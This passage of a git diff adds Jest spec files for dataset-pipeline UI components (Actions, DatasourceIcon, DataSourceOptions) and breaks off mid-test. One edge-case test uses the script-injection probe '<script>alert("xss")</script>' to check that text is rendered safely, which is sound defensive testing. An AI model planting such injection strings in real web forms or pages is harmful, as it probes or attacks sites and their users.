@@ -78,6 +79,7 @@ const Options: FC<Props> = ({
         isChecked={payload.only_main_content}
         onChange={handleChange('only_main_content')}
         labelClassName='text-[13px] leading-[16px] font-medium text-text-secondary'
+        testId='only-main-content'
       />
     </div>
   )
diff --git a/web/app/components/datasets/documents/create-from-pipeline/actions/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/actions/index.spec.tsx
new file mode 100644
index 0000000000..e3076bd172
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/actions/index.spec.tsx
@@ -0,0 +1,825 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import React from 'react'
+import Actions from './index'
+
+// ==========================================
+// Mock External Dependencies
+// ==========================================
+
+// Mock next/navigation - useParams returns datasetId
+const mockDatasetId = 'test-dataset-id'
+jest.mock('next/navigation', () => ({
+  useParams: () => ({ datasetId: mockDatasetId }),
+}))
+
+// Mock next/link to capture href
+jest.mock('next/link', () => {
+  return ({ children, href, replace }: { children: React.ReactNode; href: string; replace?: boolean }) => (
+    <a href={href} data-replace={replace}>
+      {children}
+    </a>
+  )
+})
+
+// ==========================================
+// Test Suite
+// ==========================================
+
+describe('Actions', () => {
+  // Default mock for required props
+  const defaultProps = {
+    handleNextStep: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    // Tests basic rendering functionality
+    it('should render without crashing', () => {
+      // Arrange & Act
+      render(<Actions {...defaultProps} />)
+
+      // Assert
+      expect(screen.getByRole('button', { name: /datasetCreation.stepOne.button/i })).toBeInTheDocument()
+    })
+
+    it('should render cancel button with correct link', () => {
+      // Arrange & Act
+      render(<Actions {...defaultProps} />)
+
+      // Assert
+      const cancelLink = screen.getByRole('link')
+      expect(cancelLink).toHaveAttribute('href', `/datasets/${mockDatasetId}/documents`)
+      expect(cancelLink).toHaveAttribute('data-replace', 'true')
+    })
+
+    it('should render next step button with arrow icon', () => {
+      // Arrange & Act
+      render(<Actions {...defaultProps} />)
+
+      // Assert
+      const nextButton = screen.getByRole('button', { name: /datasetCreation.stepOne.button/i })
+      expect(nextButton).toBeInTheDocument()
+      expect(nextButton.querySelector('svg')).toBeInTheDocument()
+    })
+
+    it('should render cancel button with correct translation key', () => {
+      // Arrange & Act
+      render(<Actions {...defaultProps} />)
+
+      // Assert
+      expect(screen.getByText('common.operation.cancel')).toBeInTheDocument()
+    })
+
+    it('should not render select all section by default', () => {
+      // Arrange & Act
+      render(<Actions {...defaultProps} />)
+
+      // Assert
+      expect(screen.queryByText('common.operation.selectAll')).not.toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    // Tests for prop variations and defaults
+    describe('disabled prop', () => {
+      it('should not disable next step button when disabled is false', () => {
+        // Arrange & Act
+        render(<Actions {...defaultProps} disabled={false} />)
+
+        // Assert
+        const nextButton = screen.getByRole('button', { name: /datasetCreation.stepOne.button/i })
+        expect(nextButton).not.toBeDisabled()
+      })
+
+      it('should disable next step button when disabled is true', () => {
+        // Arrange & Act
+        render(<Actions {...defaultProps} disabled={true} />)
+
+        // Assert
+        const nextButton = screen.getByRole('button', { name: /datasetCreation.stepOne.button/i })
+        expect(nextButton).toBeDisabled()
+      })
+
+      it('should not disable next step button when disabled is undefined', () => {
+        // Arrange & Act
+        render(<Actions {...defaultProps} disabled={undefined} />)
+
+        // Assert
+        const nextButton = screen.getByRole('button', { name: /datasetCreation.stepOne.button/i })
+        expect(nextButton).not.toBeDisabled()
+      })
+    })
+
+    describe('showSelect prop', () => {
+      it('should show select all section when showSelect is true', () => {
+        // Arrange & Act
+        render(<Actions {...defaultProps} showSelect={true} onSelectAll={jest.fn()} />)
+
+        // Assert
+        expect(screen.getByText('common.operation.selectAll')).toBeInTheDocument()
+      })
+
+      it('should hide select all section when showSelect is false', () => {
+        // Arrange & Act
+        render(<Actions {...defaultProps} showSelect={false} />)
+
+        // Assert
+        expect(screen.queryByText('common.operation.selectAll')).not.toBeInTheDocument()
+      })
+
+      it('should hide select all section when showSelect defaults to false', () => {
+        // Arrange & Act
+        render(<Actions handleNextStep={jest.fn()} />)
+
+        // Assert
+        expect(screen.queryByText('common.operation.selectAll')).not.toBeInTheDocument()
+      })
+    })
+
+    describe('tip prop', () => {
+      it('should show tip when showSelect is true and tip is provided', () => {
+        // Arrange
+        const tip = 'This is a helpful tip'
+
+        // Act
+        render(<Actions {...defaultProps} showSelect={true} tip={tip} onSelectAll={jest.fn()} />)
+
+        // Assert
+        expect(screen.getByText(tip)).toBeInTheDocument()
+        expect(screen.getByTitle(tip)).toBeInTheDocument()
+      })
+
+      it('should not show tip when showSelect is false even if tip is provided', () => {
+        // Arrange
+        const tip = 'This is a helpful tip'
+
+        // Act
+        render(<Actions {...defaultProps} showSelect={false} tip={tip} />)
+
+        // Assert
+        expect(screen.queryByText(tip)).not.toBeInTheDocument()
+      })
+
+      it('should not show tip when tip is empty string', () => {
+        // Arrange & Act
+        render(<Actions {...defaultProps} showSelect={true} tip="" onSelectAll={jest.fn()} />)
+
+        // Assert
+        const tipElements = screen.queryAllByTitle('')
+        // Empty tip should not render a tip element
+        expect(tipElements.length).toBe(0)
+      })
+
+      it('should use empty string as default tip value', () => {
+        // Arrange & Act
+        render(<Actions {...defaultProps} showSelect={true} onSelectAll={jest.fn()} />)
+
+        // Assert - tip container should not exist when tip defaults to empty string
+        const tipContainer = document.querySelector('.text-text-tertiary.truncate')
+        expect(tipContainer).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  // ==========================================
+  // Event Handlers Testing
+  // ==========================================
+  describe('User Interactions', () => {
+    // Tests for event handlers
+    it('should call handleNextStep when next button is clicked', () => {
+      // Arrange
+      const handleNextStep = jest.fn()
+      render(<Actions {...defaultProps} handleNextStep={handleNextStep} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: /datasetCreation.stepOne.button/i }))
+
+      // Assert
+      expect(handleNextStep).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not call handleNextStep when next button is disabled and clicked', () => {
+      // Arrange
+      const handleNextStep = jest.fn()
+      render(<Actions {...defaultProps} handleNextStep={handleNextStep} disabled={true} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: /datasetCreation.stepOne.button/i }))
+
+      // Assert
+      expect(handleNextStep).not.toHaveBeenCalled()
+    })
+
+    it('should call onSelectAll when checkbox is clicked', () => {
+      // Arrange
+      const onSelectAll = jest.fn()
+      render(
+        <Actions
+          {...defaultProps}
+          showSelect={true}
+          onSelectAll={onSelectAll}
+          totalOptions={5}
+          selectedOptions={0}
+        />,
+      )
+
+      // Act - find the checkbox container and click it
+      const selectAllLabel = screen.getByText('common.operation.selectAll')
+      const checkboxContainer = selectAllLabel.closest('.flex.shrink-0.items-center')
+      const checkbox = checkboxContainer?.querySelector('[class*="cursor-pointer"]')
+      if (checkbox)
+        fireEvent.click(checkbox)
+
+      // Assert
+      expect(onSelectAll).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // ==========================================
+  // Memoization Logic Testing
+  // ==========================================
+  describe('Memoization Logic', () => {
+    // Tests for useMemo hooks (indeterminate and checked)
+    describe('indeterminate calculation', () => {
+      it('should return false when showSelect is false', () => {
+        // Arrange & Act
+        render(
+          <Actions
+            {...defaultProps}
+            showSelect={false}
+            totalOptions={5}
+            selectedOptions={2}
+            onSelectAll={jest.fn()}
+          />,
+        )
+
+        // Assert - checkbox not rendered, so can't check indeterminate directly
+        expect(screen.queryByText('common.operation.selectAll')).not.toBeInTheDocument()
+      })
+
+      it('should return false when selectedOptions is undefined', () => {
+        // Arrange & Act
+        const { container } = render(
+          <Actions
+            {...defaultProps}
+            showSelect={true}
+            totalOptions={5}
+            selectedOptions={undefined}
+            onSelectAll={jest.fn()}
+          />,
+        )
+
+        // Assert - checkbox should not be indeterminate
+        const checkbox = container.querySelector('[class*="cursor-pointer"]')
+        expect(checkbox).toBeInTheDocument()
+      })
+
+      it('should return false when totalOptions is undefined', () => {
+        // Arrange & Act
+        const { container } = render(
+          <Actions
+            {...defaultProps}
+            showSelect={true}
+            totalOptions={undefined}
+            selectedOptions={2}
+            onSelectAll={jest.fn()}
+          />,
+        )
+
+        // Assert - checkbox should exist
+        const checkbox = container.querySelector('[class*="cursor-pointer"]')
+        expect(checkbox).toBeInTheDocument()
+      })
+
+      it('should return true when some options are selected (0 < selectedOptions < totalOptions)', () => {
+        // Arrange & Act
+        const { container } = render(
+          <Actions
+            {...defaultProps}
+            showSelect={true}
+            totalOptions={5}
+            selectedOptions={3}
+            onSelectAll={jest.fn()}
+          />,
+        )
+
+        // Assert - checkbox should render in indeterminate state
+        // The checkbox component renders IndeterminateIcon when indeterminate and not checked
+        const selectAllContainer = container.querySelector('.flex.shrink-0.items-center')
+        expect(selectAllContainer).toBeInTheDocument()
+      })
+
+      it('should return false when no options are selected (selectedOptions === 0)', () => {
+        // Arrange & Act
+        const { container } = render(
+          <Actions
+            {...defaultProps}
+            showSelect={true}
+            totalOptions={5}
+            selectedOptions={0}
+            onSelectAll={jest.fn()}
+          />,
+        )
+
+        // Assert - checkbox should be unchecked and not indeterminate
+        const checkbox = container.querySelector('[class*="cursor-pointer"]')
+        expect(checkbox).toBeInTheDocument()
+      })
+
+      it('should return false when all options are selected (selectedOptions === totalOptions)', () => {
+        // Arrange & Act
+        const { container } = render(
+          <Actions
+            {...defaultProps}
+            showSelect={true}
+            totalOptions={5}
+            selectedOptions={5}
+            onSelectAll={jest.fn()}
+          />,
+        )
+
+        // Assert - checkbox should be checked, not indeterminate
+        const checkbox = container.querySelector('[class*="cursor-pointer"]')
+        expect(checkbox).toBeInTheDocument()
+      })
+    })
+
+    describe('checked calculation', () => {
+      it('should return false when showSelect is false', () => {
+        // Arrange & Act
+        render(
+          <Actions
+            {...defaultProps}
+            showSelect={false}
+            totalOptions={5}
+            selectedOptions={5}
+            onSelectAll={jest.fn()}
+          />,
+        )
+
+        // Assert - checkbox not rendered
+        expect(screen.queryByText('common.operation.selectAll')).not.toBeInTheDocument()
+      })
+
+      it('should return false when selectedOptions is undefined', () => {
+        // Arrange & Act
+        const { container } = render(
+          <Actions
+            {...defaultProps}
+            showSelect={true}
+            totalOptions={5}
+            selectedOptions={undefined}
+            onSelectAll={jest.fn()}
+          />,
+        )
+
+        // Assert
+        const checkbox = container.querySelector('[class*="cursor-pointer"]')
+        expect(checkbox).toBeInTheDocument()
+      })
+
+      it('should return false when totalOptions is undefined', () => {
+        // Arrange & Act
+        const { container } = render(
+          <Actions
+            {...defaultProps}
+            showSelect={true}
+            totalOptions={undefined}
+            selectedOptions={5}
+            onSelectAll={jest.fn()}
+          />,
+        )
+
+        // Assert
+        const checkbox = container.querySelector('[class*="cursor-pointer"]')
+        expect(checkbox).toBeInTheDocument()
+      })
+
+      it('should return true when all options are selected (selectedOptions === totalOptions)', () => {
+        // Arrange & Act
+        const { container } = render(
+          <Actions
+            {...defaultProps}
+            showSelect={true}
+            totalOptions={5}
+            selectedOptions={5}
+            onSelectAll={jest.fn()}
+          />,
+        )
+
+        // Assert - checkbox should show checked state (RiCheckLine icon)
+        const checkbox = container.querySelector('[class*="cursor-pointer"]')
+        expect(checkbox).toBeInTheDocument()
+      })
+
+      it('should return false when selectedOptions is 0', () => {
+        // Arrange & Act
+        const { container } = render(
+          <Actions
+            {...defaultProps}
+            showSelect={true}
+            totalOptions={5}
+            selectedOptions={0}
+            onSelectAll={jest.fn()}
+          />,
+        )
+
+        // Assert - checkbox should be unchecked
+        const checkbox = container.querySelector('[class*="cursor-pointer"]')
+        expect(checkbox).toBeInTheDocument()
+      })
+
+      it('should return false when not all options are selected', () => {
+        // Arrange & Act
+        const { container } = render(
+          <Actions
+            {...defaultProps}
+            showSelect={true}
+            totalOptions={5}
+            selectedOptions={4}
+            onSelectAll={jest.fn()}
+          />,
+        )
+
+        // Assert - checkbox should be indeterminate, not checked
+        const checkbox = container.querySelector('[class*="cursor-pointer"]')
+        expect(checkbox).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ==========================================
+  // Component Memoization Testing
+  // ==========================================
+  describe('Component Memoization', () => {
+    // Tests for React.memo behavior
+    it('should be wrapped with React.memo', () => {
+      // Assert - verify component has memo wrapper
+      expect(Actions.$$typeof).toBe(Symbol.for('react.memo'))
+    })
+
+    it('should not re-render when props are the same', () => {
+      // Arrange
+      const handleNextStep = jest.fn()
+      const props = {
+        handleNextStep,
+        disabled: false,
+        showSelect: true,
+        totalOptions: 5,
+        selectedOptions: 3,
+        onSelectAll: jest.fn(),
+        tip: 'Test tip',
+      }
+
+      // Act
+      const { rerender } = render(<Actions {...props} />)
+
+      // Re-render with same props
+      rerender(<Actions {...props} />)
+
+      // Assert - component renders correctly after rerender
+      expect(screen.getByText('common.operation.selectAll')).toBeInTheDocument()
+      expect(screen.getByText('Test tip')).toBeInTheDocument()
+    })
+
+    it('should re-render when props change', () => {
+      // Arrange
+      const handleNextStep = jest.fn()
+      const initialProps = {
+        handleNextStep,
+        disabled: false,
+        showSelect: true,
+        totalOptions: 5,
+        selectedOptions: 0,
+        onSelectAll: jest.fn(),
+        tip: 'Initial tip',
+      }
+
+      // Act
+      const { rerender } = render(<Actions {...initialProps} />)
+      expect(screen.getByText('Initial tip')).toBeInTheDocument()
+
+      // Rerender with different props
+      rerender(<Actions {...initialProps} tip="Updated tip" />)
+
+      // Assert
+      expect(screen.getByText('Updated tip')).toBeInTheDocument()
+      expect(screen.queryByText('Initial tip')).not.toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Edge Cases Testing
+  // ==========================================
+  describe('Edge Cases', () => {
+    // Tests for boundary conditions and unusual inputs
+    it('should handle totalOptions of 0', () => {
+      // Arrange & Act
+      const { container } = render(
+        <Actions
+          {...defaultProps}
+          showSelect={true}
+          totalOptions={0}
+          selectedOptions={0}
+          onSelectAll={jest.fn()}
+        />,
+      )
+
+      // Assert - should render checkbox
+      const checkbox = container.querySelector('[class*="cursor-pointer"]')
+      expect(checkbox).toBeInTheDocument()
+    })
+
+    it('should handle very large totalOptions', () => {
+      // Arrange & Act
+      const { container } = render(
+        <Actions
+          {...defaultProps}
+          showSelect={true}
+          totalOptions={1000000}
+          selectedOptions={500000}
+          onSelectAll={jest.fn()}
+        />,
+      )
+
+      // Assert
+      const checkbox = container.querySelector('[class*="cursor-pointer"]')
+      expect(checkbox).toBeInTheDocument()
+    })
+
+    it('should handle very long tip text', () => {
+      // Arrange
+      const longTip = 'A'.repeat(500)
+
+      // Act
+      render(
+        <Actions
+          {...defaultProps}
+          showSelect={true}
+          tip={longTip}
+          onSelectAll={jest.fn()}
+        />,
+      )
+
+      // Assert - tip should render with truncate class
+      const tipElement = screen.getByTitle(longTip)
+      expect(tipElement).toHaveClass('truncate')
+    })
+
+    it('should handle tip with special characters', () => {
+      // Arrange
+      const specialTip = '<script>alert("xss")</script> & "quotes" \'apostrophes\''
+
+      // Act
+      render(
+        <Actions
+          {...defaultProps}
+          showSelect={true}
+          tip={specialTip}
+          onSelectAll={jest.fn()}
+        />,
+      )
+
+      // Assert - special characters should be rendered safely
+      expect(screen.getByText(specialTip)).toBeInTheDocument()
+    })
+
+    it('should handle tip with unicode characters', () => {
+      // Arrange
+      const unicodeTip = '选中 5 个文件，共 10MB 🚀'
+
+      // Act
+      render(
+        <Actions
+          {...defaultProps}
+          showSelect={true}
+          tip={unicodeTip}
+          onSelectAll={jest.fn()}
+        />,
+      )
+
+      // Assert
+      expect(screen.getByText(unicodeTip)).toBeInTheDocument()
+    })
+
+    it('should handle selectedOptions greater than totalOptions', () => {
+      // This is an edge case that shouldn't happen but should be handled gracefully
+      // Arrange & Act
+      const { container } = render(
+        <Actions
+          {...defaultProps}
+          showSelect={true}
+          totalOptions={5}
+          selectedOptions={10}
+          onSelectAll={jest.fn()}
+        />,
+      )
+
+      // Assert - should still render
+      const checkbox = container.querySelector('[class*="cursor-pointer"]')
+      expect(checkbox).toBeInTheDocument()
+    })
+
+    it('should handle negative selectedOptions', () => {
+      // Arrange & Act
+      const { container } = render(
+        <Actions
+          {...defaultProps}
+          showSelect={true}
+          totalOptions={5}
+          selectedOptions={-1}
+          onSelectAll={jest.fn()}
+        />,
+      )
+
+      // Assert - should still render (though this is an invalid state)
+      const checkbox = container.querySelector('[class*="cursor-pointer"]')
+      expect(checkbox).toBeInTheDocument()
+    })
+
+    it('should handle onSelectAll being undefined when showSelect is true', () => {
+      // Arrange & Act
+      const { container } = render(
+        <Actions
+          {...defaultProps}
+          showSelect={true}
+          totalOptions={5}
+          selectedOptions={3}
+          onSelectAll={undefined}
+        />,
+      )
+
+      // Assert - should render checkbox
+      const checkbox = container.querySelector('[class*="cursor-pointer"]')
+      expect(checkbox).toBeInTheDocument()
+
+      // Click should not throw
+      if (checkbox)
+        expect(() => fireEvent.click(checkbox)).not.toThrow()
+    })
+
+    it('should handle empty datasetId from params', () => {
+      // This test verifies the link is constructed even with empty datasetId
+      // Arrange & Act
+      render(<Actions {...defaultProps} />)
+
+      // Assert - link should still be present with the mocked datasetId
+      const cancelLink = screen.getByRole('link')
+      expect(cancelLink).toHaveAttribute('href', '/datasets/test-dataset-id/documents')
+    })
+  })
+
+  // ==========================================
+  // All Prop Combinations Testing
+  // ==========================================
+  describe('Prop Combinations', () => {
+    // Tests for various combinations of props
+    it('should handle disabled=true with showSelect=false', () => {
+      // Arrange & Act
+      render(<Actions {...defaultProps} disabled={true} showSelect={false} />)
+
+      // Assert
+      const nextButton = screen.getByRole('button', { name: /datasetCreation.stepOne.button/i })
+      expect(nextButton).toBeDisabled()
+      expect(screen.queryByText('common.operation.selectAll')).not.toBeInTheDocument()
+    })
+
+    it('should handle disabled=true with showSelect=true', () => {
+      // Arrange & Act
+      render(
+        <Actions
+          {...defaultProps}
+          disabled={true}
+          showSelect={true}
+          totalOptions={5}
+          selectedOptions={3}
+          onSelectAll={jest.fn()}
+        />,
+      )
+
+      // Assert
+      const nextButton = screen.getByRole('button', { name: /datasetCreation.stepOne.button/i })
+      expect(nextButton).toBeDisabled()
+      expect(screen.getByText('common.operation.selectAll')).toBeInTheDocument()
+    })
+
+    it('should render complete component with all props provided', () => {
+      // Arrange
+      const allProps = {
+        disabled: false,
+        handleNextStep: jest.fn(),
+        showSelect: true,
+        totalOptions: 10,
+        selectedOptions: 5,
+        onSelectAll: jest.fn(),
+        tip: 'All props provided',
+      }
+
+      // Act
+      render(<Actions {...allProps} />)
+
+      // Assert
+      expect(screen.getByText('common.operation.selectAll')).toBeInTheDocument()
+      expect(screen.getByText('All props provided')).toBeInTheDocument()
+      expect(screen.getByText('common.operation.cancel')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: /datasetCreation.stepOne.button/i })).not.toBeDisabled()
+    })
+
+    it('should render minimal component with only required props', () => {
+      // Arrange & Act
+      render(<Actions handleNextStep={jest.fn()} />)
+
+      // Assert
+      expect(screen.queryByText('common.operation.selectAll')).not.toBeInTheDocument()
+      expect(screen.getByText('common.operation.cancel')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: /datasetCreation.stepOne.button/i })).not.toBeDisabled()
+    })
+  })
+
+  // ==========================================
+  // Selection State Variations Testing
+  // ==========================================
+  describe('Selection State Variations', () => {
+    // Tests for different selection states
+    const selectionStates = [
+      { totalOptions: 10, selectedOptions: 0, expectedState: 'unchecked' },
+      { totalOptions: 10, selectedOptions: 5, expectedState: 'indeterminate' },
+      { totalOptions: 10, selectedOptions: 10, expectedState: 'checked' },
+      { totalOptions: 1, selectedOptions: 0, expectedState: 'unchecked' },
+      { totalOptions: 1, selectedOptions: 1, expectedState: 'checked' },
+      { totalOptions: 100, selectedOptions: 1, expectedState: 'indeterminate' },
+      { totalOptions: 100, selectedOptions: 99, expectedState: 'indeterminate' },
+    ]
+
+    it.each(selectionStates)(
+      'should render with $expectedState state when totalOptions=$totalOptions and selectedOptions=$selectedOptions',
+      ({ totalOptions, selectedOptions }) => {
+        // Arrange & Act
+        const { container } = render(
+          <Actions
+            {...defaultProps}
+            showSelect={true}
+            totalOptions={totalOptions}
+            selectedOptions={selectedOptions}
+            onSelectAll={jest.fn()}
+          />,
+        )
+
+        // Assert - component should render without errors
+        const checkbox = container.querySelector('[class*="cursor-pointer"]')
+        expect(checkbox).toBeInTheDocument()
+        expect(screen.getByText('common.operation.selectAll')).toBeInTheDocument()
+      },
+    )
+  })
+
+  // ==========================================
+  // Layout Structure Testing
+  // ==========================================
+  describe('Layout', () => {
+    // Tests for correct layout structure
+    it('should have correct container structure', () => {
+      // Arrange & Act
+      const { container } = render(<Actions {...defaultProps} />)
+
+      // Assert
+      const mainContainer = container.querySelector('.flex.items-center.gap-x-2.overflow-hidden')
+      expect(mainContainer).toBeInTheDocument()
+    })
+
+    it('should have correct button container structure', () => {
+      // Arrange & Act
+      const { container } = render(<Actions {...defaultProps} />)
+
+      // Assert - buttons should be in a flex container
+      const buttonContainer = container.querySelector('.flex.grow.items-center.justify-end.gap-x-2')
+      expect(buttonContainer).toBeInTheDocument()
+    })
+
+    it('should position select all section before buttons when showSelect is true', () => {
+      // Arrange & Act
+      const { container } = render(
+        <Actions
+          {...defaultProps}
+          showSelect={true}
+          totalOptions={5}
+          selectedOptions={3}
+          onSelectAll={jest.fn()}
+        />,
+      )
+
+      // Assert - select all section should exist
+      const selectAllSection = container.querySelector('.flex.shrink-0.items-center')
+      expect(selectAllSection).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source-options/datasource-icon.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source-options/datasource-icon.tsx
index a2fc0caca7..7aef143cc0 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source-options/datasource-icon.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source-options/datasource-icon.tsx
@@ -1,6 +1,6 @@
 import type { FC } from 'react'
 import { memo } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type DatasourceIconProps = {
   size?: string
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source-options/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source-options/index.spec.tsx
new file mode 100644
index 0000000000..4ae74be9d1
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source-options/index.spec.tsx
@@ -0,0 +1,1662 @@
+import { act, fireEvent, render, screen } from '@testing-library/react'
+import { renderHook } from '@testing-library/react'
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import React from 'react'
+import DataSourceOptions from './index'
+import OptionCard from './option-card'
+import DatasourceIcon from './datasource-icon'
+import { useDatasourceIcon } from './hooks'
+import type { DataSourceNodeType } from '@/app/components/workflow/nodes/data-source/types'
+import { BlockEnum, type Node } from '@/app/components/workflow/types'
+import type { Datasource } from '@/app/components/rag-pipeline/components/panel/test-run/types'
+
+// ==========================================
+// Mock External Dependencies
+// ==========================================
+
+// Mock useDatasourceOptions hook from parent hooks
+const mockUseDatasourceOptions = jest.fn()
+jest.mock('../hooks', () => ({
+  useDatasourceOptions: (nodes: Node<DataSourceNodeType>[]) => mockUseDatasourceOptions(nodes),
+}))
+
+// Mock useDataSourceList API hook
+const mockUseDataSourceList = jest.fn()
+jest.mock('@/service/use-pipeline', () => ({
+  useDataSourceList: (enabled: boolean) => mockUseDataSourceList(enabled),
+}))
+
+// Mock transformDataSourceToTool utility
+const mockTransformDataSourceToTool = jest.fn()
+jest.mock('@/app/components/workflow/block-selector/utils', () => ({
+  transformDataSourceToTool: (item: unknown) => mockTransformDataSourceToTool(item),
+}))
+
+// Mock basePath
+jest.mock('@/utils/var', () => ({
+  basePath: '/mock-base-path',
+}))
+
+// ==========================================
+// Test Data Builders
+// ==========================================
+
+const createMockDataSourceNodeData = (overrides?: Partial<DataSourceNodeType>): DataSourceNodeType => ({
+  title: 'Test Data Source',
+  desc: 'Test description',
+  type: BlockEnum.DataSource,
+  plugin_id: 'test-plugin-id',
+  provider_type: 'local_file',
+  provider_name: 'Test Provider',
+  datasource_name: 'test-datasource',
+  datasource_label: 'Test Datasource Label',
+  datasource_parameters: {},
+  datasource_configurations: {},
+  ...overrides,
+})
+
+const createMockPipelineNode = (overrides?: Partial<Node<DataSourceNodeType>>): Node<DataSourceNodeType> => {
+  const nodeData = createMockDataSourceNodeData(overrides?.data)
+  return {
+    id: `node-${Math.random().toString(36).slice(2, 9)}`,
+    type: 'custom',
+    position: { x: 0, y: 0 },
+    data: nodeData,
+    ...overrides,
+  }
+}
+
+const createMockPipelineNodes = (count = 3): Node<DataSourceNodeType>[] => {
+  return Array.from({ length: count }, (_, i) =>
+    createMockPipelineNode({
+      id: `node-${i + 1}`,
+      data: createMockDataSourceNodeData({
+        title: `Data Source ${i + 1}`,
+        plugin_id: `plugin-${i + 1}`,
+        datasource_name: `datasource-${i + 1}`,
+      }),
+    }),
+  )
+}
+
+const createMockDatasourceOption = (
+  node: Node<DataSourceNodeType>,
+) => ({
+  label: node.data.title,
+  value: node.id,
+  data: node.data,
+})
+
+const createMockDataSourceListItem = (overrides?: Record<string, unknown>) => ({
+  declaration: {
+    identity: {
+      icon: '/icons/test-icon.png',
+      name: 'test-datasource',
+      label: { en_US: 'Test Datasource' },
+    },
+    provider: 'test-provider',
+  },
+  plugin_id: 'test-plugin-id',
+  ...overrides,
+})
+
+// ==========================================
+// Test Utilities
+// ==========================================
+
+const createQueryClient = () => new QueryClient({
+  defaultOptions: {
+    queries: { retry: false },
+    mutations: { retry: false },
+  },
+})
+
+const renderWithProviders = (
+  ui: React.ReactElement,
+  queryClient?: QueryClient,
+) => {
+  const client = queryClient || createQueryClient()
+  return render(
+    <QueryClientProvider client={client}>
+      {ui}
+    </QueryClientProvider>,
+  )
+}
+
+const createHookWrapper = () => {
+  const queryClient = createQueryClient()
+  return ({ children }: { children: React.ReactNode }) => (
+    <QueryClientProvider client={queryClient}>
+      {children}
+    </QueryClientProvider>
+  )
+}
+
+// ==========================================
+// DatasourceIcon Tests
+// ==========================================
+describe('DatasourceIcon', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      const { container } = render(<DatasourceIcon iconUrl="https://example.com/icon.png" />)
+
+      // Assert
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should render icon with background image', () => {
+      // Arrange
+      const iconUrl = 'https://example.com/icon.png'
+
+      // Act
+      const { container } = render(<DatasourceIcon iconUrl={iconUrl} />)
+
+      // Assert
+      const iconDiv = container.querySelector('[style*="background-image"]')
+      expect(iconDiv).toHaveStyle({ backgroundImage: `url(${iconUrl})` })
+    })
+
+    it('should render with default size (sm)', () => {
+      // Arrange & Act
+      const { container } = render(<DatasourceIcon iconUrl="https://example.com/icon.png" />)
+
+      // Assert - Default size is 'sm' which maps to 'w-5 h-5'
+      expect(container.firstChild).toHaveClass('w-5')
+      expect(container.firstChild).toHaveClass('h-5')
+    })
+  })
+
+  describe('Props', () => {
+    describe('size', () => {
+      it('should render with xs size', () => {
+        // Arrange & Act
+        const { container } = render(
+          <DatasourceIcon iconUrl="https://example.com/icon.png" size="xs" />,
+        )
+
+        // Assert
+        expect(container.firstChild).toHaveClass('w-4')
+        expect(container.firstChild).toHaveClass('h-4')
+        expect(container.firstChild).toHaveClass('rounded-[5px]')
+      })
+
+      it('should render with sm size', () => {
+        // Arrange & Act
+        const { container } = render(
+          <DatasourceIcon iconUrl="https://example.com/icon.png" size="sm" />,
+        )
+
+        // Assert
+        expect(container.firstChild).toHaveClass('w-5')
+        expect(container.firstChild).toHaveClass('h-5')
+        expect(container.firstChild).toHaveClass('rounded-md')
+      })
+
+      it('should render with md size', () => {
+        // Arrange & Act
+        const { container } = render(
+          <DatasourceIcon iconUrl="https://example.com/icon.png" size="md" />,
+        )
+
+        // Assert
+        expect(container.firstChild).toHaveClass('w-6')
+        expect(container.firstChild).toHaveClass('h-6')
+        expect(container.firstChild).toHaveClass('rounded-lg')
+      })
+    })
+
+    describe('className', () => {
+      it('should apply custom className', () => {
+        // Arrange & Act
+        const { container } = render(
+          <DatasourceIcon iconUrl="https://example.com/icon.png" className="custom-class" />,
+        )
+
+        // Assert
+        expect(container.firstChild).toHaveClass('custom-class')
+      })
+
+      it('should merge custom className with default classes', () => {
+        // Arrange & Act
+        const { container } = render(
+          <DatasourceIcon iconUrl="https://example.com/icon.png" className="custom-class" size="sm" />,
+        )
+
+        // Assert
+        expect(container.firstChild).toHaveClass('custom-class')
+        expect(container.firstChild).toHaveClass('w-5')
+        expect(container.firstChild).toHaveClass('h-5')
+      })
+    })
+
+    describe('iconUrl', () => {
+      it('should handle empty iconUrl', () => {
+        // Arrange & Act
+        const { container } = render(<DatasourceIcon iconUrl="" />)
+
+        // Assert
+        const iconDiv = container.querySelector('[style*="background-image"]')
+        expect(iconDiv).toHaveStyle({ backgroundImage: 'url()' })
+      })
+
+      it('should handle special characters in iconUrl', () => {
+        // Arrange
+        const iconUrl = 'https://example.com/icon.png?param=value&other=123'
+
+        // Act
+        const { container } = render(<DatasourceIcon iconUrl={iconUrl} />)
+
+        // Assert
+        const iconDiv = container.querySelector('[style*="background-image"]')
+        expect(iconDiv).toHaveStyle({ backgroundImage: `url(${iconUrl})` })
+      })
+
+      it('should handle data URL as iconUrl', () => {
+        // Arrange
+        const dataUrl = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=='
+
+        // Act
